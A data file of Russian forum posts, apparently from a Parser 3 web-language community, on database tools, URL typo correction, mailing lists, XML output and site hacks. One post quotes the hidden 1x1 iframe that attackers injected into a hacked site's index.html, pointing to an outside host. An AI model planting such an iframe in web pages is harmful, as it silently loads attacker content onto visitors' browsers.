"59907","P.S. давать ссылки на pdf без указания размера (который не маленький) - жестоко. да и иконку PFD-ки можно рядом со ссылками повесить, чтобы посетители понимали что это - ссылки на pdf-ки."
"59908","Это понятно, иконки и размеры сделаем как полагается это всё в тестовом варианте работает, тоесть у Вас как полагается всё в браузере открывается?"
"59911","Как можно сдвинуть что-то вправо на несколько градусов?"
"59912","Как ни крутил, не понял каким образом поменять порядок столбцов в индексе?..\
И как его вообще задать, даже при создании?..\
\
В настройках не нашёл отключения редактирования blod полей в отдельном окне (sic!).\
\
Нельзя выделить несколько строк и скопировать/вставить, нельзя скопировать и вставить таблицу.\
\
Настроек просто смехотворно мало...\
\
Вывод: вообще не конкурент 3,2 версии, даже учитывая глючность последней."
"59913","Что-то не видел я, чтоб многие брали лого чужое и каверкали под свои нужды.\
\
PS: Норма, совсем не значит, что многие так делают. А норма это не степень оценки. А нормальность это критерий определения степени оценки поведения многих.\
\
Курить — нормально и ненормально, курение — не норма, но многие курят."
"59915","а я вот хэши люблю, вот прямо из кода:\
[code]\
...\
$xCtrl.hView.document.content.data-list.object[$xContent.data.table]\
$xCtrl.hView.document.content.data-list.model.process.filename[^modify[$xCtrl.form.sql.update.filename]]\
...\
[/code]\
и об описанное выше поведение [b]постоянно[/b] спотыкаюсь, хотя и оператор для копирования у меня есть.\
был вопрос о необходимости копирования хеша и мое мнение такая возможность должна быть. [i]Возможно подключаемая опционально[/i]. Другое дело сложности реализации и проблемы разработки это понятно."
"59916","[quot]\
каким образом поменять порядок столбцов в индексе?..\
И как его вообще задать, даже при создании?..\
[/quot]\
\
ну... в какой последовательности добавляются поля в индекс при создании - в том они в нем и будут. изменение их порядка сделано неудобно - надо убрать поля и добавить их заново в новом порядке.\
\
[quot]\
не нашёл отключения редактирования blod полей в отдельном окне\
[/quot]\
\
а что это и зачем?\
\
\
[quot]\
Нельзя выделить несколько строк и скопировать/вставить\
[/quot]\
\
скопировать/вставить куда? вижу что несколько строк выделяются и копируются (csv, xml, html). однако ничего подобного ни разу не требовалось, может поэтому и не понимаю ценности.\
\
[quot]\
нельзя скопировать и вставить таблицу.\
[/quot]\
\
куда её скопировать? есть export в другую БД, другой сервер, sql файл. тоже ни разу не пользовался.\
\
\
[quot]\
Настроек просто смехотворно мало...\
[/quot]\
\
жжошь. если качество программы определяется количеством её настроек, тогда конечно (я вообще не помню когда в настройки Front 2.5 заглядывал)\
\
[quot]\
не конкурент 3,2 версии\
[/quot]\
\
никого не заставляю переходить, и не сравниваю её с 3.2 (я 3.2 в глаза не видел, хватило 3.0), информацию запостил для пользователей версии 2.5, им она может быть интересна: интерфейс такой же, добавлены новые функции, без OLD_PASSWORD работает с новыми версиями SQL, настройки соединений легко переносятся (хотя в Heidi некоторые вещи пока хуже чем в 2.5 в связи с тем что при работе с БД стала использоваться другая библиотека)."
"59917","IE: 6, 7;\
Opera: 8, 9;\
Forefox: 1.5, 2;"
"59918","Значит возможно проблема с dns серверами провайдера моего, либо что то с кэшом у них."
"59920","[quot]ну... в какой последовательности добавляются поля в индекс при создании - в том они в нем и будут. изменение их порядка сделано неудобно - надо убрать поля и добавить их заново в новом порядке.\
[/quot]\
\
Это я уже понял, на следственном эксперименте...\
Руки, руки за такое надо отрывать разработчикам...\
\
[quot]а что это и зачем?[/quot]\
\
Это когда текстовое поле в таблице и нужно его поправить, к примеру, или скопировать.\
Кликаешь на него (оно отмечено MEMO), и редактирвование идёт в поле внизу экрана.\
Гораздо удобнее работать с blob-полями прямо в таблице.\
\
[quot]скопировать/вставить куда?[/quot]\
\
Просто в буфер, как tab-delimited, или скопировать и вставить прямо в таблицу.\
\
[quot]вижу что несколько строк выделяются и копируются (csv, xml, html). однако ничего подобного ни разу не требовалось, может поэтому и не понимаю ценности.[/quot]\
\
Ну, я выделить не смог в просмотре данных.\
Пользуюсь не слишком часто, но иногда пригаживается.\
\
[quot]нельзя скопировать и вставить таблицу[/quot]\
\
[quot]куда её скопировать?[/quot]\
\
Прямо в базу, будет копия, очень полезная штука.\
Или в другу базу - перенос получается.\
\
[quot]есть export в другую БД, другой сервер, sql файл.[/quot]\
\
Это экспорт, это лишние телодвижения.\
А так - в два клика.\
\
[quot]Настроек просто смехотворно мало...[/quot]\
\
[quot]если качество программы определяется количеством её настроек, тогда конечно (я вообще не помню когда в настройки Front 2.5 заглядывал)[/quot]\
\
Ты ж прекрасно меня понял ;).\
Количество настроек определяет гибкость программы под пользователя.\
Мне удобно одно, тебе - другое, в результате юзаем одну программу с разными настроками.\
Пусть я в них никогда не загляну (что говорит о качестве подбора дефолтных значений разработчиками), но они должны быть.\
\
[quot]никого не заставляю переходить...[/quot]\
\
Дык, я ж разве об этом?..\
\
Хотелось замены глючному 3,2, а не вышло :("
"59922","Есть екзэшник который работает предельно просто(в него вводится одна строка он выдает другую)\
пробовал так\
$f[^file::exec[/../cgi-bin/decoder.exe;$.stdin[$form:16]]]\
\
но постоянно выдается ошибка 'MAIN' method_frame may not be overwritten with file, store it to variable instead [parser.runtime]\
\
Обьясните плз что не так"
"59924","в вашем примере тип переменной $f - \"файл\", а для вывода вам нужен тип \"текстовая строка\".\
\
Загляните в доку, по-моему вам нужно выводить полученное от экзешника следующим образом:[code]$f.text[/code]"
"59925","Я с такими примерами \"Творчества\" сталкиваюсь регулярно, поэтому отношусь к этому как обыденности.\
Большинство \"дезигнеров\" не шибко беспокоиться о том что и у кого они воруют. Достаточно просто взять пару газет с обяъявлениями, чтобы убедиться с этим: воруют все: начиная от картинок и слоганов, заканчивая логотипами.\
У нас в городе есть магазины:\
- \"ZimaLeto\"\
- \"Масяня\"\
- фирма \"AOL\"\
+ много других перлов."
"59928","Зато есть какое-то описание лого."
"59929","где бы почитать о том как такое соединение сделать?\
\
(о том что такое FastCGI слышал, но еще не приходилось использовать)"
"59930","[quot]\
Руки, руки за такое надо отрывать разработчикам...\
[/quot]\
не всё сразу. это у них есть в whishlist-е, думаю скоро приделают.\
но опять же - для меня это не часто используемая операция, поэтому её сложность меня не угнетает.\
часто использую: поиск данных (+ по условиям), бакапы (экспорт в файл), импорт.\
\
[quot]\
Это когда текстовое поле в таблице и нужно его поправить, к примеру, или скопировать.\
Кликаешь на него (оно отмечено MEMO), и редактирвование идёт в поле внизу экрана.\
Гораздо удобнее работать с blob-полями прямо в таблице.\
[/quot]\
\
хм. спорный вопрос. у меня в blob-ах обычно много текста с переводами строк. править подобное в grid-е по моему не рулез, хотя фиг знает, я не видел как это реализовано в 3.2\
\
[quot]\
Просто в буфер, как tab-delimited,\
[/quot]\
\
счтавляется в буфер как cvs, принципиальных отличий от tab-delimited не вижу, причем cvs более распространён.\
\
\
[quot]\
скопировать и вставить прямо в таблицу\
[/quot]\
\
круто. но я мне не требовалось ни разу.\
\
[quot]\
Ну, я выделить не смог в просмотре данных.\
[/quot]\
\
как нафиг? там-же слеча чекбоксы есть...\
\
\
[quot]\
Прямо в базу, будет копия, очень полезная штука.\
Или в другу базу - перенос получается.\
[/quot]\
\
прямо в базу... вообще мне нравится твой способ работы с базами данных :)\
в другую базу копируется экспортом. однако получается, чуть больше, чем в 2 клика.\
\
[quot]\
Ты ж прекрасно меня понял ;).\
Количество настроек определяет гибкость программы под пользователя.\
[/quot]\
\
нет, не понял.\
предпочитаю не настраивать ничего, не менять стандартное поведение и ставить минимум прибамбасов.\
что настраивать в Front/Heidi - вообще не представляю.\
маленькое количество настроек _и_ доступность всех операций считаю огромным плюсом, а не минусом."
"59931","Все неправильные URL на design.ru (до двух символов с начала или с конца), например:\
http://web.artlebedev.ru/ews/\
http://web.artlebedev.ru/enws/\
http://web.artlebedev.ru/nws/\
http://web.artlebedev.ru/nes/\
http://web.artlebedev.ru/nesw/\
\
...исправляются на правильные, в данном случае:\
http://web.artlebedev.ru/news/\
\
Если не секрет, поделитесь как реализована данная фича?"
"59932","в голову сразу приходят следующие варианты:\
\
1. тупые rewrite. но это фигово, т.к. htaccess будет огромный.\
\
2. rewritemap. подразумевается что мы создали табличку замен. да, она не маленькая, но грузится разово и не мешается в htaccess (после изменений апач её загрузит заново сам)\
\
3. cms-ом: в случае 404 ошибки проявляем мозг и пытаемся найти в БД похожие url (что-то типа like '%^sUrl.mid(2)'). если находим - external redirect. %-)"
"59933","если только для основных разделов проставить:\
[code]\
RewriteRule	^[news]{4}/?$	/news/	[L,QSA]\
RewriteRule	^[studio]{6}/?$	/studio/	[L,QSA]\
...\
[/code]\
то ничего особенно страшного"
"59934","Просто рерайты писать нереально... особенно с учётом большого количества страниц. А на design.ru их более чем - отпадает сразу.\
\
А вот RewriteMap выглядит реальнее... но тоже не очень гибко:(\
\
Наверно все таки после 404, URL режется с обоих концов и LIKE'ом ищется что-то похожее по full_path с LIMIT 1. \
Но в этом случае в админе при создании раздела надо будет проверять его full_path на такое совпадение с уже существующими. А вообщем самый реальный вариант..."
"59935","Там на любом уровне вложенности исправляются"
"59937","[quote]не всё сразу. это у них есть в whishlist-е, думаю скоро приделают.[/quote]\
\
Ну дай Бог, подождём.\
\
[quote]часто использую: поиск данных (+ по условиям), бакапы (экспорт в файл), импорт.[/quote]\
\
По этим критериям от 3,2 отличий практически нет, визуальные, разве что.\
\
[quote]Гораздо удобнее работать с blob-полями прямо в таблице.[/quote]\
\
[quote]хм. спорный вопрос. у меня в blob-ах обычно много текста с переводами строк. править подобное в grid-е по моему не рулез, хотя фиг знает, я не видел как это реализовано в 3.2[/quote]\
\
Ну, я больше не редактирование имею ввиду.\
Напрягает прыганье на окошко внизу когда, даже случайно, кликаешь на blob-поле.\
Если данных много, конечно, не поредактируешь особо.\
\
3,2 даёт выключать этот перепрыг, и даёт править прямо в ячейке, но можно и по собственному желанию и в окошке внизу.\
\
[quote]Ну, я выделить не смог в просмотре данных.[/quote]\
\
[quote]как нафиг? там-же слеча чекбоксы есть...[/quote]\
\
Дык, это типа выделение?..\
А кликнуть на строку, а потом с шифтом на другую?..\
\
[quote]прямо в базу... вообще мне нравится твой способ работы с базами данных :)\
в другую базу копируется экспортом. однако получается, чуть больше, чем в 2 клика.[/quote]\
\
Дык, я думаю, оно экспорт/импорт и делает, просто всю тягомотину скрывает и всё получается просто и удобно.\
\
[quote]предпочитаю не настраивать ничего, не менять стандартное поведение и ставить минимум прибамбасов.[/quote]\
\
Дома обои на стенах присутствуют? ;)\
\
[quote]что настраивать в Front/Heidi - вообще не представляю.[/quote]\
\
Внешний вид данных: ширина колонок, удобный шрифт для редактора, подсветку синтаксиса, подсказки ключевых слов, колонок и таблиц, логи...\
Да море всего, что может потребоваться персонализировать.\
\
Я не за валовое количество, а за количество, переходящее в качество.\
\
[quote]маленькое количество настроек _и_ доступность всех операций считаю огромным плюсом, а не минусом.[/quote]\
\
Плюс, если б было не много, а достаточно.\
Сейчас - недостаточно.\
\
Будем подождать..."
"59938","анализ тогда показал, что acrobat reader plugin делает неправильные запросы на [i]части[/i] документа.\
он загружает банально не то.\
\
проблема была в какой-то старой версии reader, которая стояла на машине клиента.\
\
выловили tcpdump'ом, подсмотрев заголовки, когда клиент нажимал.\
очень советую инструмент ethreal для анализа .cap файлов, удивительно удобная штука.\
\
мы вышли из ситуации, просто сделав принудительный download:[code]$response:download[file][/code]"
"59939","[quot]\
Напрягает прыганье на окошко внизу когда,\
[/quot]\
\
ничего никуда не прыгает, фокус остается там, куда ткнул мышью. хочешь редактировать - тыкай в blob-редактор.\
\
[quot]\
Дык, это типа выделение?..\
А кликнуть на строку, а потом с шифтом на другую?..\
[/quot]\
\
в какое конкретно место строки тыкать? в 2.5/Heidi left click в строку означает click в какое-то поле этой строки. фокус попадает с соотв. колонку и сразу выделяется её значение (чтобы можно было делать Ctrl+C). т.е. click в строку не канает. а checkbox для нас, сроителей веба по моему довольно таки привычный интерфейс выделения (хотя безусловно я более привычен тыкать в label, а не в сам checkbox)\
\
[quot]\
Внешний вид данных: ширина колонок, удобный шрифт для редактора, подсветку синтаксиса, подсказки ключевых слов, колонок и таблиц, логи...\
[/quot]\
\
3.2 ширину колонок для каждой таблицы помнит? хм, крут.\
шрифт задается, подсветка синтаксиса есть.\
ключевые слова mysql-я инструмент, предназначенный для работы с mysql-ем и сам должен знать, он их и знает (и ещё имеет help по mysql-ю). \
ширина колонок настраивается тупым изменением их мышью (но не для колонок таблиц, т.к. таблиц и их колонок очень дофига) :)\
\
ладно, давай завязывать :)"
"59940","думаю, пошутил ash, специально опечатался.\
[quote]\
Опечатка? Возможные варианты написания:\
\
spelling (\"Общая лексика\") \
[/quote]\
ан нет, это авторы улыбались.\
\
второй referer ;)"
"59941","двадцать строк кода на Python, немножко Байеса и вуаля - http://www.norvig.com/spell-correct.html"
"59942","Странно, упустил этот модуль из виду.\
\
Вещь хорошая, но у большинства хостеров апач собран без неё:("
"59943","... но грузить каждый раз парсером файлик со словарем и проводить вычисления только ради того, чтобы дать пользователю редирект на правильный url кажется слишком накладным.\
Конечно это будет запускаться только после возникновения 404, но всё равно - вдруг кто-нибудь на ОЧЕНЬ посещаемом сервере поставит кривую ссылку...\
\
А вот в админе может пригодится - чтобы свести возможность опечатки к минимуму."
"59944","знаю, вопрос уже несколько раз поднимался...\
но толком так ответа и не нашел...\
\
в общем задача такая:\
сделать рассылку. Письмо отправлятся не на кучу адресов, а каждому персонально. причем внутри письма можно будет обратиться к человеку по имени из базы.\
\
адресов около 1500 - будут расти, но медленно...\
\
как лучше сделать? если через menu прогонять - однозначно будет ошибка... выбирать по небольшому кол-ву адресов, отправлять их.\
В конце страницы:\
[code]\
$response:refresh[ \
   $.value(5) \
   $.url[/send.html?limit=$limit]\
][/code]\
\
либо после каждой отправки ставить[code]^sleep($sleep_time)[/code]?\
\
как будет удобнее/лучше?\
либо сделать что-нибудь не на Parser'е? хотя не хотелось бы уходить :)"
"59945","Здравствуйте,\
\
Возникла необходимость в использовании данного метода, но ввылетает ошибка:\
\
method_frame may not be overwritten with date, store it to variable instead\
\
Пробую так:\
\
[code]\
@content[]\
$now[^date::now[]]\
^dtf:last-day[$now]\
[/code]\
\
или\
\
[code]\
@content[]\
$my_date[^date::create(2007;4)]\
^dtf:last-day[$my_date]\
[/code]\
\
или\
\
[code]\
@content[]\
$x[^dtf:create[$now]]\
^dtf:last-day[$x]\
[/code]\
\
Результат не меняется. При этом [code]^dtf:format[%T %d %h %Y][/code] работает без проблем.\
\
Куда копнуть, подскажите?"
"59946","так заработало:\
\
[code]\
$my_date[^date::now[]]\
$x[^dtf:last-day[$my_date]]\
$x.day\
[/code]"
"59947","Учитывая то, что на моем хостинге можно отправлять не больше 500 писем в день, и не больше 100 в час, у меня это реализовано так:\
\
Ставится в крон на каждый час вызов скрипта-рассыльщика. Скрипт начинает работу в 12 дня и работает ежечасно до последнего адресата. Из базы выбираю по 100 адресатов - оффсет (текущий_час - 12)*100, лимит 100. Если есть адресаты, создаю письмо, и тупо рассылаю, как раз именно через меню. Вот и все. Кроме того веду лог ошибок, если вдруг какое-то письмо не ушло - пишем причину дату и т.п. Работает уже больше 5-и месяцев."
"59948","если в процессе работы скрипта кто-то подпишется/отпишется, то одному из подписчиков письмо или не уйдет или отправится дважды.\
\
я делаю так: есть отдельная таблица, куда при начале сессии рассылки копируется необходимая информация о подписчиках. далее - выбираю из этой таблицы записи с limit, но без offset, рассылаю им что надо и удаляю их из этой таблицы. закончились в таблице записи - сессия рассылки закончилась.\
\
перед созданием новой сессии проверяю, чтобы в табличке ничего не было, т.к. если там что-то есть, это означает что ещё не закончилась предыдущая сессия рассылки.\
\
P.S. а вообще рассылки отстой. email протухают, интерфейсы везде разные, реализация рессурсоёмкая. rss - рулез (можно даже персонофицированные ленты) %-)"
"59949","Дело вот в чём... На домашнем компе делаю сайт на денвере... parser 3.2.1\
Переношу один и тот же код на linux RadHat (parser3_2_1_redhat73_cgi_xml) и получаю вечную ошибку ('selectString' undefined method [parser.runtime]) в коде:\
\
$page_type[^node.selectString[string(type/@name)]]\
\
Ну естессено, дальше из-за этого возникают проблемы... почему так - не ясно..."
"59950","Ну у меня список рассылки контролируется исключительно админом - юзеры сами не подписываются - могут только отписываться. Рассылаем только тем, кто нам интересен. Кроме того список держится в пределах 500 - лимита хостера. Нам пока больше и не нужно.\
\
А RSS - это действительно тема, только не все умеют им пользоваться. Учить каждого нет возможности. Тут не все меилом пользоваться-то умеют, а RSS для многих вообще далекий космос. Хотя на сайте RSS реализован."
"59952","Мне казалось, что Парсер собран статистически с xml библиотеками."
"59955","К сожалению нет, два админа --- на разных сайтах пошли по другому пути, поправили доступ так, чтобы мои файлы были в группе, от которой работает парсер."
"59956","Раздел \"Скачать/Разное\". Запустите данный файл с нужного компа и узнайте есть ли в Парсере классы для работы с XML.\
Если же все в норме, то ошибка где-то у Вас в коде...\
\
Я предполагаю, что ошибка у Вас в коде:\
[code]\
^node.selectString[...]\
[/code]\
Проверьте, является ли node объектом xdoc класса?"
"59957","если парсер собран без поддержки xml, то ошибка появится при попытке сделать create этого xml-я, а не при последующей работе с узлом дерева."
"59961","Вот простейший пример\
\
@main[]\
$document[^xdoc::create{^xml[]}]\
^document.string[]\
\
@xml[]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?><document>test</document>\
\
Мне нужно чтобы в браузере выводилось не просто test, а весь xml-код, это возможно?"
"59962","Господа, у меня тут один сайт сломали. А до этого ещё один.\
В результате заменили или дописали к содержимому index.html такую строку:\
[code]\
<iframe src='http://strumpf1.com/yabb/Sources' width='1' height='1' style='visibility: hidden;'></iframe>\
[/code]\
\
Весьма грустно, день-два работы псу под хвост. Теперь незнаю на что грешить - на троян на компе или на кривость моего кода.\
\
Кто-нибудь сталкивался?\
В интернете есть отрывочные данные от некоторых пострадавших, но ничего конкретного к сожалению.."
"59965","[quot]\
Тут не все меилом пользоваться-то умеют\
[/quot]\
\
если есть опыт объяснения начинающим \"что такое спам?\", \"почему мне прислали это письмо?\", \"что они хотели сказать этим письмом?\", \"как сделать так, чтобы таких писем больше не присылали?\", \"почему на это письмо не надо отвечать?\", \"зачем мне прислали письмо на английском?\" и т.п. - с удовольствием выслушаю ответы на них, чтобы цитировать.\
\
к чему это я? к тому, что ещё чуть-чуть, и почтой станет невозможно пользоваться из-за спама и/или спам фильтров, особенно в случае массовых рассылок. email-ы в базе протухают и т.д.\
\
научить пользоваться RSS-ом по моему проще, чем почтой. FF, Opera, RSS ридеры показывают список заголовков. click - читаешь полную новость в броузере.\
\
т.е. лично я предпочинаю получать новости в виде RSS, от которого я могу отписаться в любой момент, и которые можно сделать персонофицированными и конфигурабельными."
"59966","1) ^taint[xml][...]\
2) Mozilla Firefox 3.0a показывает дерево XML кода."
"59967","В большинстве случаев, достаточно выдавать правильный [b]Content-Type[/b]\
\
[code]\
$response:content-type[\
	$.value[text/xml]\
	$.charset[кодировка]\
]\
[/code]\
\
И IE и FireFox умеют отображать XML дерево документа. IE правда, более прихотлив (что правильно!), например, ломается об DOCTYPE c обманкой ввиде http://localhost/\
\
[code]\
<!DOCTYPE document SYSTEM \"http://localhost/entites.dtd\">\
[/code]\
\
FireFox же -- просто не загрузит ENTITES, и попытается отобразить дерево без них.\
\
\
Самый верный подход -- написать один раз XSL шаблон, который будет разбирать и отображать узлы дерева как хочет сам автор и включать его в код XML.\
\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
[b]<?xml-stylesheet type=\"text/xsl\" href=\"/view_xml.xsl\"?>[/b]\
<!DOCTYPE document SYSTEM \"/entites.dtd\">\
<document>\
</document>\
[/code]\
\
Браузер, в таком случае, сам выполнит трансформацию и представит дерево в надлежащем виде."
"59968","Ясно, да уж единственный выход из этой ситуации это только $response:download[file]\
Сейчас всё работает. Спасибо всем кто ответил.\
С уважением !!!"
"59969","4 дня назад, у моего клиента увели трояном пароль на ftp.\
\
потом какая-то хрень из Далласа, США залезла и поменяла все index.html на js который выдавал окошко загрузки исполняемого файла (наверняка не антивирус =)\
\
однако из-за того, что сайт работал на парсере, выдавалась ошибка из-за наличия спецсимволов в js коде.\
\
вот так парсер помог защитить сайт =)"
"59970","Загрузы...\
Вскорее всего код кривой был"
"59971","1 000 не пишется, но 10 000 — вполне.\
\
http://www.artlebedev.ru/kovodstvo/74/"
"59972","я имел в виду что приведенный вами метод пишет '1 000', а numberFormat - нет (как в общем и кучку других приятностей, которые могут не использоваться сейчас, а когда 'потребуется, возьму ваш' - произойдет дублирование похожих методов, т.к. практика показывает, что никто не полезет искать и менять уже существующее)"
"59973","Указание Content-Type помогло, спасибо.\
Но как вы и предупреждали я столкнулся с проблемой entity, IE отказывается их загружать:\
Не удается найти указанный объект. Ошибка при обработке ресурса \"http://localhost/entities.dtd\"\
Можно ли как-то это обойти?\
\
По поводу самого верного подхода: зачем эмулировать то, что браузер сам умеет делать?"
"59975","Вам не стыдно не указывать белый цвет фона страниц своего сайта, если вы хотите видеть его таковым?..\
Ваша работа выглядет жутко, если у пользователя настроен свой цвет фона окон."
"59978","Я перед выдачей xml заменяю 'http://localhost/' на '/', и всё работает :-)"
"59980","Не пиара ради.\
Кто горячо влюблён в Парсер - не читайте. Это - для сомневающихся.\
Почему я говорю Парсеру прощай:\
[url=\"http://www.infitis.dp.ua/blog/2007/04/09/goodbye-parser/\"]http://www.infitis.dp.ua/blog/2007/04/09/goodbye-parser/[/url]"
"59981","Даже если дальнейшее развитие парсера будет приостановлено, его нынешнее положение и использование текущей версии на данный момент, и я думаю, на ближайшие 1-2 года, вполне себя оправдает.\
\
Что касается набора классов, порядка их организации, СУК, фреймворков и т.п. - Парсер на столько прост в понимании и использовании, что написать код требуемого модуля не составляет критической проблемы - дело 2-3 дней максимум. И я думаю этим можно объяснить отсутствие общего кода коммьюнити.\
\
Кроме того, лично меня нисколько не смущает то, что над парсером работают всего 2 или 1 человек. На данный момент в парсере реализовано практически все, чтобы сделать программиста веб счастливым. И, насколько я знаю, в данный момент ничего нового в Парсер вводить не планируется - идет работа исключительно по усовершенствованию. Работа такого плана вполне может быть выполнена 1-2-мя разработчиками.\
\
Так что пессимистам дорога туда..., а нам прямо, с поднятой головой, в обнимку с Парсером!"
"59982","[code]$result[^result.match[http://localhost][g][]{}][/code]"
"59985","По мне большинство приведенного это не причины.\
\
Вообще Вам список можно дополнить:\
7) Официальный сайт выглядит не стильно, нет flash заставок и баннеров.\
8) Студия выражается как хочет. К примеру сегодня на сайте присутствует \"Охуеть!\".\
9) Tim O'Reilly не написал ни одной книги про Parser.\
10) Артемий Лебедев (судя по его сайту) часто бывает в других странах, видимо по этому он не заставляет студию разрабатывать сайты на Parser 3.\
11) В Сан-Франциско легче запомнить название PHP, чем Parser или даже Ruby, т.к. длина превышает 3 буквы."
"59987","[quote]\
я столкнулся с проблемой entity, IE отказывается их загружать.\
Можно ли как-то это обойти?\
[/quote]\
\
Как вам уже ответили, просто заменять \"http://localhost/\" (match || replace). \
Все равно это работает только при обращении с ключиком ?mode=x(ml).\
\
\
[quote]\
зачем эмулировать то, что браузер сам умеет делать?\
[/quote]\
\
У меня бывает довольно большой XML и я не хочу постоянно скроллировать чтобы найти нужный узел. Тоесть делаю так, чтобы по умолчанию некоторые узлы были свернуты, а другие открыты. Это удобно при верстке XSL шаблонов.\
Да и вообще можно сделать всё что угодно JS + CSS вам руки:)"
"59988","Господа!\
Я хочу не разжечь флейм, а всё-таки указать на некоторые недостатки (ИМХО)."
"59989","Хочешь - Django.\
Хочешь - Ruby On Rails.\
..."
"59990","Кому надо тот сидит и работает.\
Кому заняться нечем — рассуждает \"чего не хватает\", \"как было бы хорошо\" и \"как будет всё плохо\".\
\
Хотите CMS — напишите и выложите.\
Хотите чтобы Парсер развивал не один-два человека — учите c++ и присоединяйтесь, будет три.\
\
Пока ничего кроме \"почему мне не дают всё на тарелочке?!\" я не вижу.\
Вам дали замечательный язык.\
Это уже очень много, дальше хоть что-то нужно делать самостоятельно.\
Никто за других работать не будет, ни на каком языке и ни в какой комьюнити.\
\
Если бы вы написали всё это просто как обзор языка — я бы сказал, что всё так.\
Но в свете того, что это причины ухода от Парсера — это нытьё.\
Уж не обессудьте."
"59991","[quot]\
хочу не разжечь флейм, а всё-таки указать на некоторые недостатки\
[/quot]\
\
вы правы.\
когда принималось решение делать parser3 oper source то расчитывали на то, что будут энтузиасты не из студии, которые тоже будут развивать язык.\
\
увы, оказалось, что таковых единицы :(\
\
а нам тех возможностей, которые сейчас есть в парсере -- хватает, и как правильно заметили, на данном этапе мы лишь незначительно улучшаем язык, правим баги и добавляем несущественные мелочи.\
\
P.S. по поводу раздела \"в действии\": я его наполняю время от времени, не систематически, в ближайшее время добавлю ещё.\
P.P.S. в 5 пункте вы забыли про http://parser.proc.ru/\
P.P.P.S. прощай keba %-)"
"59992","Как описание фактов - почти всё правильно. За исключением, наверно, последнего сайта на парсере. Но всё это не повод менять ориентацию.\
\
А CMS не панацея... Можно подумать CMS написанная на другой технологии решит все проблемы. Для среднего сайта все равно достаточно специфики, которую приходится создавать в первый раз и парсер тут не причем. Главное всё делать с умом.\
\
В большей степени поэтому, думаю, и нет каких-то готовых вариантов.\
\
А для создания инструмента себе в помощь вполне достаточно описанной Мишей структуры БД и принципов её работы. \
В процессе его создания программист получит необходимый опыт, который пригодиться ему в дальнейшем.\
\
Так что это нытьё товарищ keba, не более..."
"59993","[quote]P.P.P.S. прощай keba %-)[/quote]\
\
Во, Парсер заговорил!\
Довели!.."
"59994","[quote]Так что это нытьё товарищ keba, не более...[/quote]\
Это не нытьё. Я свой выбор уже сделал.\
Это взгляд на Парсер со стороны.\
Может зашевелится сообщество?"
"59995","Они есть и будет их больше, но со временем...\
\
P.S. По крайней мере последнее время я вижу какие-то движения."
"59998","2 раза с интервалом в пару месяцев.\
\
меняли index.html.\
\
сайт переставал работать, НО не делал то, что ходели взломщики (планировали что посетителям будет выдаваться iframe со ссылкой на их сайт) по причине наличия парсера: он \"спасал\" посетителей с помощью своего UE.\
\
смена пароля на ftp решила проблему, 4 месяца всё тихо (надеюсь все помнят что ftp пароль передается в открытом виде?).\
\
для кучи переименовали .html в .p3 и указали, что directory index - index.p3."
"60001","- новая name convention: antispam -> Antispam и т.д.\
\
- одно обратно несовместимое изменение: при задании таблиц с допустимыми referer-ами столбец должен называться 'sHref' (было 'href')\
\
- изменен стиль выдачи сообщений об ошибках. это все равно exception, однако если раньше все приходило в exception.type в виде 'Antispam.unknown-uid', то теперь в exception.type всегда возвращается 'Antispam', а 'unknown-uid' & Co возвращаются в exception.source. так проще, imho. однако старый стиль сообщения об ошибках можно включить ключиком $.bOldErrorStyle(1)\
\
- новые методы определения \"спама\":\
  1. при _отображении_ формы класс смотрит на список полей в ней, и если обнаруживает, что сейчас ему в $form пришло что-то ещё, что не упомянуто в form/input - ругается (+ можно определить список полей, которых нет в form/input, но на которые класс ругаться не будет)\
  2. можно задать таблицу со списком регулярных выражений и их весов + порог срабатывания. с помощью этой таблицы будут проверяться все поля в форме, и если будет превышен порог срабатывания - ругаемся. в примере показано как задать таблицу и значение порога, чтобы ругались при обнаружении больше 5 ссылок в данных.\
\
- больше комментариев в примерах (включая описание нововведений)."
"60002",">столбец должен называться 'sHref' (было 'href')\
\
тоже думал, как быть c колонками таблиц - ведь там всегда возвращается строка, смысл тогда ставить префиксы?\
лично я использую в названии колонок таблиц тоже соглашение, что и для SQL.\
\
и еще я такую штуку сделал - что-то типа: ^InsertHashToSQL[$hTable;$sTableName], ^UpdateHashAtSQL[$hTable;$sTableName;$sClause], ^InsertTableToSQL[$tTable;$sTableName], etc.\
(в реальности чуть по-другому, но главное - передана суть.)\
\
Сдедал давно, но оказалась такой \"прилипчивой\", что использую до сих пор. Т.е. берем таблицу из базы, работаем с ней, а потом обратно сериализуем в базу. Это позволяет избежать написания некоторого количества простых SQL-запросов.\
\
Вроде бы удобно, работает...\
Но что-то кажется неправильным в самой идее...\
\
Хотелось бы узнать ваше мнение на этот счет."
"60003","[quot]\
тоже думал, как быть c колонками таблиц - ведь там всегда возвращается строка, смысл тогда ставить префиксы?\
[/quot]\
\
безобразно, но единообразно :)\
просто не нравится, когда в соседних строках параметры задаются по разному.\
\
[quot]\
и еще я такую штуку сделал...\
[/quot]\
\
если вам удобно - используйте на здоровье :)\
InsertHashToSQL + InsertTableToSQL = InsertToSQL, ведь в методе можно is сделать.\
\
но я так не делаю. причины:\
- приходится работать с кодом и БД в разных name convention, когда автоматически формируемые condition не работают.\
- рожать ещё какую-то систему описывания полей/from/where и т.д. не считаю полезной, когда есть SQL SYNTAX, понятный всем. если кому-то придется править код то ему существенно проще будет понять обычный SQL SYNTAX.\
- \"Это позволяет избежать написания некоторого количества простых SQL-запросов\" => по моему в корне неверная идея. написать - фигня, пишется один раз. читается - десятки раз и разными людьми, поэтому надо упрощать чтение (т.е. улучшать читаемость) написанного кода. об этом в умных книжках кстати пишут (типа \"рефакторинг\", \"совершенный код\"...)"
"60004","Пример не матча, а пример того как вы выдаете xml. Я просто не понимаю в какой момент вы заменяете http://localhost/ на /.\
\
Кстати, у вас в матче ошибка -)"
"60005","Я кажется понял.\
[code]\
@main[]\
$response:content-type[\
	$.value[text/xml]\
]\
$document_xml[^xdoc::create{^xml[]}]\
$document_string[^document_xml.string[]]\
$result[^document_string.match[http://localhost][x]{}]\
\
@xml[]\
<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
<!DOCTYPE document SYSTEM \"http://localhost/entities.dtd\">\
<document>&nbsp;</document>\
[/code]\
\
Все работает без ключиков. Это лучшее решение, а то я уж думал, что придется entities загружать:\
[url=\"http://www.parser.ru/forum/?id=48953\"]http://www.parser.ru/forum/?id=48953[/url]\
\
Всем спасибо за помощь."
"60006","Думаю троян был, хотя очень странно, я стараюсь следить за этим.\
Мне тоже, кстати, в голову первым от злости пришло index.html переименовать. :)"
